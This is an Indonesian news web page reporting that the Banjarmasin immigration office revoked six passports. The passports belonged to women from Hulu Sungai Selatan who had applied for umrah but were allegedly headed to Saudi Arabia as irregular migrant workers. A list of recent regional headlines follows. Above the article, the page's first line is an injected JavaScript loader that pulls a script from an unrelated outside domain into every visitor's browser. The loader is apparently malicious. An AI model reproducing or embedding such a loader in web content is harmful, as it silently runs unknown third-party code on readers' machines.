(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Imigrasi Cabut 6 Paspor Warga HSS yang Diduga Akan Dijadikan TKI Ilegal


BANJARBARU, Menindaklanjuti temuan Balai Pelayanan Penempatan dan Perlindungan Tenaga Kerja Indonesia (BP3TKI) Banjarbaru terkait dugaan pengiriman pekerjaan migran Indonesia ilegal pada September lalu, Kantor Imigrasi Kelas I TPI Banjarmasin membatalkan dan menarik ke 6 paspor pemegangnya.

Dalam Konfrensi Pers yang digelar Kantor Imigrasi Kelas I TPI Banjarmasin, Jumat (9/11), keenam perempuan pemegang paspor tersebut diduga menjadi korban tenaga migran lainnya untuk menjadi TKI di Arab Saudi.

Modusnya adalah menyalahgunakan paspor untuk kepentingan tidak sesuai dengan keterangan yang diberikan. Hal ini disampaikan Kasi Teknologi Informasi dan Komunikasi Kantor Imigrasi Kelas I Banjarmasin Adityo Agung Nugroho.

“Keenam orang tersebut memohon untuk umroh. Namun digunakan untuk bekerja secara Non Prosedural di Saudi Arabia. Atas penyalahgunaan paspor dan keterangan yang tidak benar, maka kami dari Kantor Imigrasi membatalkan paspor mereka,” jelasnya.

Ke 6 orang tersebut semuanya merupakan wanita dan berasal dari Kabupaten Hulu Sungai Selatan (HSS) dengan insial NA (38), Rl (35), RS (35), SK (26), AM (35) dan SMI (38).

Usai dibatalkan paspor mereka, Kantor Imgrasi Kelas 1 TPI Banjarmasin juga melakukan tindakan lainnya dengan meminta keterangan kepada 6 orang tersebut dan penangguhan pemberian paspor selama 2 tahun. Saat ini, ke 6 wanita ini telah dipulangkan kepada keluarganya.

Adityo juga menjelaskan pihaknya tidak akan melakukan langkah hukum lebih lanjut karena menurutnya keenam perempuan tersebut hanya menjadi korban pekerja migran Indonesia non prosedural. Ia juga memberikan apresiasi setinggi-tingginya untuk BP3TKl Banjarbaru yang telah membantu proses penarikan paspor ke-6 pemegang yang akan diberangkatkan.

“Mereka hanya menjadi korban pekerja migran Indonesia non prosedural, sehingga tidak dilakukan langkah hukum selanjutnya. Kami juga berterima kasih kepada BP3TKl Banjarbaru yang telah membantu proses penarikan paspor mereka,” tegas Adityo. (rico)


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

8 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

11 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

15 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

15 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

16 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

17 jam ago

This website uses cookies.